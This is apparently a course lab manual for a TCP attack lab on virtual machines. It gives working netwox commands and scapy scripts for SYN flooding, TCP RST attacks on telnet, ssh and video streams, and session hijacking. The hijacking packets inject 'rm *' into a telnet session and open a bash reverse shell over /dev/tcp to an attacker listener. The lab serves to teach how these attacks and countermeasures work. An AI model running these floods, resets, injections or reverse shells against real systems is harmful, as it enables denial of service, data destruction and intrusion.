TCP ATTACK LAB

Table of Contents

Contents

Lab Setup

Task 1

Attacker : 10.0.2.10
Victim : 10.0.2.11
Observer : 10.0.2.9

For Tasks 2, 4 & 5

Attack : 10.0.2.9
Client : 10.0.2.10
Server : 10.0.2.11

Task 3

Attacker : 10.0.2.9
Victim : 10.0.2.10

Task 1: SYN Flooding Attack

The objective of this task is to launch a SYN flooding attack with SYN cookie mechanism turned on and off. In this task we will use Netwox Tool 76 to attack the queue maintaining the SYN information in the victim machine. Using the below command, we can get the current size of the victim's queue for half-opened connections.

Command:

sudo sysctl -q net.ipv4.tcp_max_syn_backlog

Provide a screenshot of your observations.

Using the below command, we turn off the SYN cookie countermeasure in the victim machine.

Command:

sudo sysctl -w net.ipv4.tcp_syncookies=0

netstat -na | grep tcp

to check the usage of the queue before the attack.

Provide a screenshot of your observations.

Next, we use **netwox** tool 76 for SYN flooding attacks on the victim's machine.

Command:

sudo apt -get install netwox (if netwox is not installed on vm)

sudo netwox 76 -i 10.0.2.11 -p 23 -s raw

(netwox 76 -i "destination ip" -p "destination port" -s "source ip")

Provide a screenshot of your observations.

After the attack, we can see many half-open connections from random source IP addresses.

Command:

netstat -tna

Provide a screenshot of your observations.

Once the quantity of this type of connection reaches a certain threshold, the victim will not be able to accept any new TCP connections. When we try to telnet the victim, the connection cannot be established.

Command:

telnet 10.0.2.11

Provide a screenshot of your observations.

On the observer machine, **provide a screenshot of the packets on Wireshark**. These SYN packets are sent to the victim from random IP addresses. The victim replies with SYN+ACK packets which may be dropped somewhere because the IP addresses may not be assigned to any machine. Hence, the half-open connections will stay in the queue until they time out.

Now, we try the same attack with the countermeasure on.

Command:

sudo sysctl -w net.ipv4.tcp_syncookies=1

Provide a screenshot of your observations.

Next, we run the following command to send SYN packets.

(netwox 76 -i “destination ip” -p “destination port” -s “source ip”)

sudo netwox 76 -i 10.0.2.11 -p 23 -s raw

Provide a screenshot of your observations.

We try to telnet to the victim machine and we can establish a connection.

Command:

telnet 10.0.2.11

Provide a screenshot of your observations.

Provide a screenshot that shows the Wireshark capture of the SYN flooding attack. For a detailed explanation of how SYN cookies work and how they protect against SYN flooding attacks, please refer to the notes.

Task 2: TCP RST Attacks on *telnet* and *ssh* connections

The objective of this task is to launch a TCP RST attack to break an existing telnet connection and ssh connection between A and B using netwox and scapy tools. We will send an RST packet to the client which is connected to the telnet and ssh server. The lab set-up for this task is described above.

In Wireshark, capture the last packet sent from the server machine to the client machine. We can get the source and destination port. We can also see the next sequence number which the client is expecting.

Command:

telnet 10.0.2.11

Provide the screenshot in the client VM.

Provide a screenshot that shows the Wireshark packet for next seq no.

Netwox:

We do the RESET attack using netwox tool 40. On running the attack we can see that the telnet connection is disconnected.

Command:

sudo netwox 40 -l 10.0.2.11 -m 10.0.2.10 -o 23 -p 36030 -B -q 1403610903 (this is my vm seq no, and port number, please use your vm seq no and port number)

Provide a screenshot of the telnet connection getting disconnected on running the above command. Provide supporting screenshots.
Provide a screenshot that shows the Wireshark packet for the RESET packet.

Scapy:

The following python script using scapy tool to send a Reset packet. In this script, we are creating an IP packet and TCP segment (with RST flag) and sending it over the network. All the necessary parameters like Source IP, Destin IP, Sequence number and Destin port etc are retrieved from the last telnet packet sent by the server to the client as shown above.

reset_tcp.py

```
#!/usr/bin/python
import sys
from scapy.all import *
print("Sending reset packet")
IPLayer = IP(src="10.0.2.11" , dst="10.0.2.10")
TCPLayer = TCP(sport=23, dport=36072,flags="R" ,seq=812230484)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
```

commands:

telnet

10.0.2.11

sudo python reset.py or sudo python3 reset.py

Provide the machine's IP address where you will run telnet and resest.py commands.
Provide a screenshot of the telnet connection, provide screenshots of the script running and the connection getting cut, provide a screenshot of the Wireshark Capture.

In the same way, we can do the RESET attack on ssh connections and give screenshots.

Netwox Command:

sudo netwox 40 -l 10.0.2.11 -m 10.0.2.10 -o 22 -p 43194 -B -q 3656719214

Provide screenshots of the command execution and corresponding Wireshark captures.
Note: -p has to be for your port number and -q is your Next Seq number.

Scapy:

Below is a python script to send a RESET packet to the client which has an established ssh connection with the server.

reset_ssh.py

```
#!/usr/bin/python
import sys
from scapy.all import *
```

```
print("Sending reset packet")
IPLayer = IP(src="10.0.2.11" , dst="10.0.2.10")
TCPLayer = TCP(sport=22, dport=39042,flags="R" ,seq=2166302267)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt,verbose=0)
```

Show that the connection was lost with the ssh server when we run the script sending the Reset packet to the client.

Command:

sudo python reset_ssh.py

Provide a screenshot of your observations.
Provide a screenshot of the Wireshark capture.

Task 3: TCP RST Attacks on Video Streaming Applications

The objective of this task is to disrupt video streaming by breaking the TCP connections between the victim and the content server. We will use the netwox tool to send reset packets to the client machine when watching YouTube videos. The lab setup for this task is mentioned on the first page of this manual.

Netwox:

The RESET attack to the client who is connected to YouTube and streaming videos. The streaming ends and throws an error once the attack is successful.

Command:

sudo netwox 78 --filter "src host 10.0.2.9"

(we can see buffering, but not the error message)

Provide a screenshot of your observations and show the streaming getting disrupted.
Note: You may need to wait for sometime for this to happen, refer Textbook if you want to see how the output looks

Task 4: TCP Session Hijacking

The objective of this task is to hijack an existing TCP connection (session) between two machines by injecting malicious content into their session.. We create a new text file named "new.txt" in the server machine which will be deleted using our session hijacking attack.

```
seed@10.0.2.11:~/TCP$ ls -l
total 4
-rw-rw-r-- 1 seed seed 43 Jun 17 07:32 new.txt
seed@10.0.2.11:~/TCP$
```

Next, we establish a TCP connection with the server 10.0.2.11. We can see our file "new.txt".

Command:

telnet

10.0.2.11 cd

TCP

ll

Note: The above ll is (LL in lower case)

Provide a screenshot of your observations. the screenshot of the last data packet sent to the server machine. We will use the "Next Sequence Number and "Acknowledgement Number" in the packet for our hijacking packet. The below netwox command is used for TCP session hijacking. The tcp data section is hex representation of the string "\r rm *\n\r" (to delete all the files in the current directory) which is sent a payload to the server where it is executed. Next Seq Number is calculated by using Sequence number + Segment Len of the 'TCP' packet. Not the one that says 'Telnet' in Wireshark

Netwox Command:

sudo netwox 40 --ip4-src "10.0.2.10" --ip4-dst "10.0.2.11 " --ip4-ttl 64 --tcp-dst 23 --tcp-src "44798" --tcp-seqnum "3912634967" --tcp-window 2000 --tcp-ack --tcp-acknum " 2846615940" --tcp-data "0d20726d202a0a0d"

(10.0.2.10 – source ip, 10.0.2.11 – des ip, 3912634967 Next Sequence Number, 2846615940 Acknowledgement Number", "r rm *\n\r" 0d20726d202a0a0d)

Provide a screenshot of the command execution.

After running the command, we can see that the file got deleted on the server end.

Provide a screenshot of your observations. Show that the file has been deleted.

Show the Wireshark capture of the hijacked packet sent to the server.

Now, if we try to access the telnet program, we can see that it does not respond to our typing any more. It ***freezes***. The below wireshark capture explains the reason. The injected data sent by the attacker messes up the sequence number from client to server and hence the connection freezes. For detailed description, please refer to the notes.

Scapy:

Below is the python script to hijack an established TCP session. In this task, we provide a command as payload data. This payload data is sent to the telnet server which gets executed on the server.

Command:
telnet 10.0.2.11
ll

Provide a screenshot of your observations. Note: The above ll is (LL in lower case)

sessionhijack.py

```
#!/usr/bin/python
import sys
from scapy.all import *
print("Sending session hijacking packet        ")
IPLayer = IP(src="10.0.2.10" , dst="10.0.2.11")
TCPLayer = TCP(sport=36724, dport=23,flags="A", seq=3298654989, ack=2893576955)
Data = "\r rm *\n\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
```

Show that on executing the script, the packet is sent to the server which freezes the telnet communication.

Command:
sudo python sessionhijack.py

Provide a screenshot of your observations.
Provide a screenshot of the Wireshark capture
Provide a screenshot that shows that the file is deleted in the server after executing the script.

Task 5: Creating Reverse Shell using TCP Session Hijacking

The objective of this task is to run a reverse shell from the victim machine to give the attacker the shell access to the victim machine after hijacking a TCP session using netwox and scapy. Reverse shell is a shell process running on a remote machine once it has been compromised. Refer to the first page for the lab set up for this task.

Command:

telnet 10.0.2.11

Provide a screenshot that shows established telnet communication between the client and the server. screenshot of the last data packet sent to the server machine in wire shark. We will use the “Next Sequence Number and “Acknowledgement Number” in the packet for our hijacking packet.

Netwox:

Command used for TCP session hijacking is given below. The tcp data section is hex representation of the string “\r /bin/bash -i > /dev/tcp/10.0.2.9/9090 2>&1 0<&1 \n” (to get

reverse shell) convert string to hex (http://string-functions.com/string-hex.aspx). Tip: \r means press Enter before '/bin' and \n means press Enter after '0<&1'. Make sure the whole command is on one line while converting it into hex on the website

Command:

sudo netwox 40 --ip4-src "Source IP" --ip4-dst "Destiation IP" --ip4-ttl 64 --tcp-dst 23 --tcp-src "Source port" --tcp-seqnum "Next Sequence Number" --tcp-window 2000 --tcp-ack --tcp-acknum "Acknowledgement Number" --tcp-data "0d0a2f62696e2f62617368202d69203e202f6465762f7463702f31302e302e322e392f3930393020323e263120303c26310d0a"

The converted string in the above is:

0d0a2f62696e2f62617368202d69203e202f6465762f7463702f31302e302e322e392f3930393020323e263120303c26310d0a

Use the **YOUR** hex string for the TCP data instead of " \r /bin/bash -i > /dev/tcp/10.0.2.9/9090 2>&1 0<&1 \n"

Provide a screenshot of your observations.

Provide a screenshot of the Wireshark capture of the hijacked packet sent to the server.

On opening a nc listener on port 9090, we get a reverse shell of the server and the attacker can run any commands on the server.

Command:

nc -lv 9090 (attacker vm) by opening it on another terminal

Provide a screenshot of your observations.

We can verify it by running the *ifconfig* command which gives the server IP address if the attack is successful. Provide supporting screenshots.

Scapy:

Below is the python script to hijack an established TCP session and run a reverse shell. In this task, we provide the reverse shell command as payload data. This payload data is sent to the telnet server which gets executed on the server.

reverseshell.py

```
#!/usr/bin/python
import sys
  from scapy.all import *
  print("Sending session hijacking packet        ")
  IPLayer = IP(src="10.0.2.10" , dst="10.0.2.11")
  TCPLayer = TCP(sport=36848, dport=23, flags="A", seq=1337361290, ack=1955187868)
  Data = "\r /bin/bash -i > /dev/tcp/10.0.2.9/9090 2>&1 0<&1\n"
  pkt = IPLayer/TCPLayer/Data
```

ls(pkt)
send(pkt,verbose=0)
Show that on executing the script, the packet is sent to the server which freezes the telnet communication. Note: You need to find the appropriate Seq and ack numbers here as well

Command:
sudo python reverseshell.py

Provide a screenshot of your observations.

On opening a nc listener on port 9090, we get a reverse shell of the server and the attacker can run any commands on the server. We can verify it by running the ifconfig command.

Command:
nc -lv 9090

Provide a screenshot of your observations.

Note: The port number of server machine can be seen in attacker machine wireshark

Submission:

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanations to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.